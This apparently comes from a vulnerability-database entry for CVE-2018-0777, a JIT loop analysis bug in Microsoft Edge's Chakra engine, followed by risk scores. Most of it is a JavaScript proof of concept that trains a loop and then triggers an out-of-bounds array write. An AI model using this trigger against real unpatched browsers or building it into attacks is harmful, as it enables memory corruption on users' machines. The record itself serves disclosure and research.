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Microsoft Edge: Chakra: JIT: Loop analysis bug(CVE-2018-0777)

🗓️ 22 Jan 2018 00:00:00Reported by RootType 
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Microsoft Edge Chakra JIT Loop analysis bug CVE-2018-0777 demonstrates OOB write

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Code

                                                function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;  // <<-- (a)
        }
        arr[i] = 2.3023e-320;
    }
}

function main() {
    let arr = new Array(100);
    arr.fill(1.1);

    for (let i = 0; i < 1000; i++)
        opt(arr, 0, 3);

    opt(arr, 0, 100000);
}

main();
                              

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22 Jan 2018 00:00Current
7.3High risk
Vulners AI Score7.3
EPSS0.77751
48